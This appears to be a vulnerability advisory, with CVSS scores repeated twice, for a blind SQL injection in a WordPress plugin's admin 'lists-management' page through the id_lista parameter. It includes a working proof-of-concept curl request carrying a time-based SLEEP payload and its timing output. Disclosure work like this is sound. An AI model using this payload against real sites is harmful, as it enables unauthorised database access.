6.6 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
6 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:S/C:P/I:P/A:P
The page lists-management feature of the plugin, available to Administrator users does not sanitise, validate or escape the id_lista POST parameter before using it in SQL statement, therefore leading to Blind SQL Injection.
time curl -i -s -k -X $‘POST’ \ -H $‘Upgrade-Insecure-Requests: 1’ -H $‘Origin: https://example.com’ -H $‘Content-Type: application/x-www-form-urlencoded’ -H $‘User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36’ -H $‘Referer: https://example.com/wp-admin/admin.php?page=lists-management&delete;=1&id;_lista=1’ \ -b $‘[admin user]’ \ --data-binary $‘id_lista=1-IF(MID(VERSION(),1,1)=8,SLEEP(10),0)&com;=DEL’ \ $‘https://example.com/wp-admin/admin.php?page=lists-management’ Response:
0.01s user 0.00s system 0% cpu 20.279 total
6.6 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
6 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:S/C:P/I:P/A:P